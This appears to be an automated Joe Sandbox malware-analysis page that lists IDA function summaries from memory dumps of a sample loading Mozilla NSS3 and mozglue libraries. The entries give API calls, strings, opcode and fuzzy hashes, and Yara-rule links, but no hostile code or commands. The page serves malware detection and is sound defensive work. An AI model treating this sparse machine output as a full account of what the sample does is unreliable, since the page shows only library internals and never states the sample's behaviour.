Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 8de3c5d04b28ee633b4978d99615391ddf71e0f6be6ed5f07424d97a97d67b40
Instruction ID: e568ce78c807619f4bdc35dfb621c1f927def75a804f81d16868adf4aa9015fb
Opcode Fuzzy Hash: 8de3c5d04b28ee633b4978d99615391ddf71e0f6be6ed5f07424d97a97d67b40
Instruction Fuzzy Hash: 9B7190756042099FDB00CE29DDC0B9A77B9FF48308F194524FD19ABA81D731EC95CBA1

Function 6CB22D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CB22D69

Strings

winUnmapfile1, xrefs: 6CB22F55
winSeekFile, xrefs: 6CB22E9C
winTruncate2, xrefs: 6CB22EF8
winUnmapfile2, xrefs: 6CB22F7F
winTruncate1, xrefs: 6CB22EBE

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 3cf518d076c0256f9bce8e2907d40f500f4574e773b5f2585072d85c2cd9f740
Instruction ID: 9afcd12a32295e51cbef28d623a72d847996ff8858edc04291a484db64c46f26
Opcode Fuzzy Hash: 3cf518d076c0256f9bce8e2907d40f500f4574e773b5f2585072d85c2cd9f740
Instruction Fuzzy Hash: F161B275B012059FDB14DF64DC84A6A7BB1FF4A364F10812CE919EB780EB35AD06CB92

Function 6CB7AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CB7AB3E,?,?,?), ref: 6CB7AC35

Part of subcall function 6CB5CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CB5CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CB7AB3E,?,?,?), ref: 6CB7AC55

Part of subcall function 6CB910C0: TlsGetValue.KERNEL32(?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB910F3
Part of subcall function 6CB910C0: EnterCriticalSection.KERNEL32(?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB9110C
Part of subcall function 6CB910C0: PL_ArenaAllocate.NSS3(?,?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB91141
Part of subcall function 6CB910C0: PR_Unlock.NSS3(?,?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB91182
Part of subcall function 6CB910C0: TlsGetValue.KERNEL32(?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB9119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CB7AB3E,?,?), ref: 6CB7AC70

Part of subcall function 6CB5E300: TlsGetValue.KERNEL32 ref: 6CB5E33C
Part of subcall function 6CB5E300: EnterCriticalSection.KERNEL32(?), ref: 6CB5E350
Part of subcall function 6CB5E300: PR_Unlock.NSS3(?), ref: 6CB5E5BC
Part of subcall function 6CB5E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CB5E5CA
Part of subcall function 6CB5E300: TlsGetValue.KERNEL32 ref: 6CB5E5F2
Part of subcall function 6CB5E300: EnterCriticalSection.KERNEL32(?), ref: 6CB5E606
Part of subcall function 6CB5E300: PORT_Alloc_Util.NSS3(?), ref: 6CB5E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CB7AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB7AB3E), ref: 6CB7ACD7
PORT_Alloc_Util.NSS3(?), ref: 6CB7AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CB7AD2B

Part of subcall function 6CB5F360: TlsGetValue.KERNEL32(00000000,?,6CB7A904,?), ref: 6CB5F38B
Part of subcall function 6CB5F360: EnterCriticalSection.KERNEL32(?,?,?,6CB7A904,?), ref: 6CB5F3A0
Part of subcall function 6CB5F360: PR_Unlock.NSS3(?,?,?,?,6CB7A904,?), ref: 6CB5F3D3

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 89f2204b313544e48dcda861b3570bb31e6fef5b233313f2fab9cbfc5e8287e3
Instruction ID: 4f5a543e5b001e5832f6196c704438d643e46fdc021e69b0a039f5cc55849769
Opcode Fuzzy Hash: 89f2204b313544e48dcda861b3570bb31e6fef5b233313f2fab9cbfc5e8287e3
Instruction Fuzzy Hash: FC3129B2E002556FEB108F79CC409AF7776EF84328B188128EC259BB40EB31DC158BB1

Function 6CA61D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA61D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CA61BE3,?,?,6CA61D96,00000000), ref: 6CA61D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CA61BE3,?,?,6CA61D96,00000000), ref: 6CA61D4C
GetCurrentThreadId.KERNEL32 ref: 6CA61DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA61DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA61DDA

Part of subcall function 6CA61EF0: GetCurrentThreadId.KERNEL32 ref: 6CA61F03
Part of subcall function 6CA61EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CA61DF2,00000000,00000000), ref: 6CA61F0C
Part of subcall function 6CA61EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CA61F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CA61DF4

Part of subcall function 6CA2CA10: malloc.MOZGLUE(?), ref: 6CA2CA26

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: b7421fa3902290210494619da612c6ac28a5ba3c10f081cfbf689716bc640aed
Instruction ID: b805c091863a24231ef641c4c89c6ee9282fdd75bf108a4fef93d58e74887439
Opcode Fuzzy Hash: b7421fa3902290210494619da612c6ac28a5ba3c10f081cfbf689716bc640aed
Instruction Fuzzy Hash: 70418B752107019FCB14CF29D589A66BBF9FB49314F10852DEA5A87B41DB31F854CB90

Function 6CB58C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CB58C7C

Part of subcall function 6CBF9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC40A27), ref: 6CBF9DC6
Part of subcall function 6CBF9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC40A27), ref: 6CBF9DD1
Part of subcall function 6CBF9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CBF9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB58CB0
TlsGetValue.KERNEL32 ref: 6CB58CD1
EnterCriticalSection.KERNEL32(?), ref: 6CB58CE5
PR_Unlock.NSS3(?), ref: 6CB58D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CB58D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB58D93

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: ea3dcf52fd9a2f854f77b029f34443435d48aad9966b9c623798d44ac4f37666
Instruction ID: 586e2ff37685f0251b89c43de2e1c9ee16df637f388a7b435776e0c25982252e
Opcode Fuzzy Hash: ea3dcf52fd9a2f854f77b029f34443435d48aad9966b9c623798d44ac4f37666
Instruction Fuzzy Hash: 9A313771E41251AFE700AF68DC4479AB7B4FF05318F54013AEA19A7B90D772A934CBD2

Function 6CB52E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CB4E728,?,00000038,?,?,00000000), ref: 6CB52E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB52E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB52E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CB52E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CB52E9E
PR_Unlock.NSS3(?), ref: 6CB52EAB
PR_Unlock.NSS3(?), ref: 6CB52F0D

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: eb23aec0796fee594a1850bb2f4f66424909c8beb760c5451b73549a9c48034b
Instruction ID: 93591a688fd5b7c99f03314424e7275c9b3efd8e4c5b928833eadefa7c7a7e15
Opcode Fuzzy Hash: eb23aec0796fee594a1850bb2f4f66424909c8beb760c5451b73549a9c48034b
Instruction Fuzzy Hash: 7331F876A01685ABEF01AF28EC4487ABB79EF05258B448164EC18C7A11E731EC64C7E2

Function 6CB9CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CB9CD93,?), ref: 6CB9CEEE

Part of subcall function 6CB914C0: TlsGetValue.KERNEL32 ref: 6CB914E0
Part of subcall function 6CB914C0: EnterCriticalSection.KERNEL32 ref: 6CB914F5
Part of subcall function 6CB914C0: PR_Unlock.NSS3 ref: 6CB9150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CB9CD93,?), ref: 6CB9CEFC

Part of subcall function 6CB910C0: TlsGetValue.KERNEL32(?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB910F3
Part of subcall function 6CB910C0: EnterCriticalSection.KERNEL32(?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB9110C
Part of subcall function 6CB910C0: PL_ArenaAllocate.NSS3(?,?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB91141
Part of subcall function 6CB910C0: PR_Unlock.NSS3(?,?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB91182
Part of subcall function 6CB910C0: TlsGetValue.KERNEL32(?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB9119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CB9CD93,?), ref: 6CB9CF0B

Part of subcall function 6CB90840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CB908B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CB9CD93,?), ref: 6CB9CF1D

Part of subcall function 6CB8FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CB88D2D,?,00000000,?), ref: 6CB8FB85
Part of subcall function 6CB8FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CB8FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CB9CD93,?), ref: 6CB9CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CB9CD93,?), ref: 6CB9CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CB9CD93,?,?,?,?,?,?,?,?,?,?,?,6CB9CD93,?), ref: 6CB9CF78

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 5901e5dc58db158b5905f69a6c5fac47ac8c05dec01e4bc8ecd385aeb051cbb5
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 3611A5A5A012845BEB00AEA67C41B6B76ECDF5A54DF044039EC0AD7741FB61D90CC6B2

Function 6CA584E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA584F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA5850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA5851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA5855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA5856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA585AC

Part of subcall function 6CA57670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA5767F
Part of subcall function 6CA57670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA57693
Part of subcall function 6CA57670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CA585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA576A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA585B2

Part of subcall function 6CA35E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA35EDB
Part of subcall function 6CA35E90: memset.VCRUNTIME140(6CA77765,000000E5,55CCCCCC), ref: 6CA35F27
Part of subcall function 6CA35E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA35FB2

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 8aaa41f73270711afca828c7e42cee2bbc5e205ed07ad740c0ff7f3cdac7a216
Instruction ID: 652c237d9818330b9b15d4bbce25f749346c5f82a461e4061440e0c004c196fc
Opcode Fuzzy Hash: 8aaa41f73270711afca828c7e42cee2bbc5e205ed07ad740c0ff7f3cdac7a216
Instruction Fuzzy Hash: CE21A1742107028FDB18DF29C889A5AB7B5AF4430DF68882DE55BC3B41DB31F999CB51

Function 6CB48C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB48C1B
EnterCriticalSection.KERNEL32 ref: 6CB48C34
PL_ArenaAllocate.NSS3 ref: 6CB48C65
PR_Unlock.NSS3 ref: 6CB48C9C
PR_Unlock.NSS3 ref: 6CB48CB6

Part of subcall function 6CBDDD70: TlsGetValue.KERNEL32 ref: 6CBDDD8C
Part of subcall function 6CBDDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBDDDB4

Strings

KRAM, xrefs: 6CB48C8F

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 5f49c23c598d1217eb3dac2443d567db74186a9bb5cbb905946f0f09f66aae29
Instruction ID: 81eab520647b8d2ecd83715ae161ad17eb010d66e8b6cb159e8c3ccca67f49f1
Opcode Fuzzy Hash: 5f49c23c598d1217eb3dac2443d567db74186a9bb5cbb905946f0f09f66aae29
Instruction Fuzzy Hash: 51215CB1A096418FD700AF78C484569BBF4FF05304F05C96AD888CB716EB36E889CBD2

Function 6CA5F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA4CBE8: GetCurrentProcess.KERNEL32(?,6CA131A7), ref: 6CA4CBF1
Part of subcall function 6CA4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA131A7), ref: 6CA4CBFA

Part of subcall function 6CA59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA24A68), ref: 6CA5945E
Part of subcall function 6CA59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA59470
Part of subcall function 6CA59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA59482
Part of subcall function 6CA59420: __Init_thread_footer.LIBCMT ref: 6CA5949F

GetCurrentThreadId.KERNEL32 ref: 6CA5F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CA5F598), ref: 6CA5F621

Part of subcall function 6CA594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA594EE
Part of subcall function 6CA594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA59508

GetCurrentThreadId.KERNEL32 ref: 6CA5F637
AcquireSRWLockExclusive.KERNEL32(6CA9F4B8,?,?,00000000,?,6CA5F598), ref: 6CA5F645
ReleaseSRWLockExclusive.KERNEL32(6CA9F4B8,?,?,00000000,?,6CA5F598), ref: 6CA5F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CA5F62A

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 4735162570971f6371db8785da9f2e117c03c0908df25f0eeda389eda67e4ef8
Instruction ID: 02f463a042d96a3457568b1450519384b9f8814bd2c00e2fd04adbe5dea6fb2d
Opcode Fuzzy Hash: 4735162570971f6371db8785da9f2e117c03c0908df25f0eeda389eda67e4ef8
Instruction Fuzzy Hash: FE11C475211306AFCB08AF19DD499E577B9FB86358B908019FA0687F41CF31AC66CBA0

Function 6CC42C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CC42CA0
PR_ExitMonitor.NSS3 ref: 6CC42CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CC42CD1
strdup.MOZGLUE(?), ref: 6CC42CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CC42D27

Strings

Loaded library %s (static lib), xrefs: 6CC42D22

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: ade2074ff75129df92c4d0457e2333a79d591a587234f06c855c68ff3829063b
Instruction ID: 1e4d18dfb724f414e16e4bb6811175a34f402473048d25e51fcb0c6c2db69b19
Opcode Fuzzy Hash: ade2074ff75129df92c4d0457e2333a79d591a587234f06c855c68ff3829063b
Instruction Fuzzy Hash: B811E2B1F012409FEB108F19E856A6A7BB8EB4634DF04C12DD819C7B41E731E809CBA1

Function 6CB368E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB368FB
EnterCriticalSection.KERNEL32 ref: 6CB36913
PORT_FreeArena_Util.NSS3 ref: 6CB3693E
PR_Unlock.NSS3 ref: 6CB36946
DeleteCriticalSection.KERNEL32 ref: 6CB36951
free.MOZGLUE ref: 6CB3695D
PR_Unlock.NSS3 ref: 6CB36968

Part of subcall function 6CBDDD70: TlsGetValue.KERNEL32 ref: 6CBDDD8C
Part of subcall function 6CBDDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBDDDB4

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: 09d0ead0d217a39a4a3e0b721f2dcd36ddc868aedc80c264609f36529d5dc7cb
Instruction ID: df9180cd90402a7937a488a866c1d62336b6af458d32f6d20c6d5bc2f6da6dc8
Opcode Fuzzy Hash: 09d0ead0d217a39a4a3e0b721f2dcd36ddc868aedc80c264609f36529d5dc7cb
Instruction Fuzzy Hash: 48115BB1A047959FDB00BF78D48856EBBF4FF06658F054668D899DB601EB30E488CB92

Function 6CB90FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

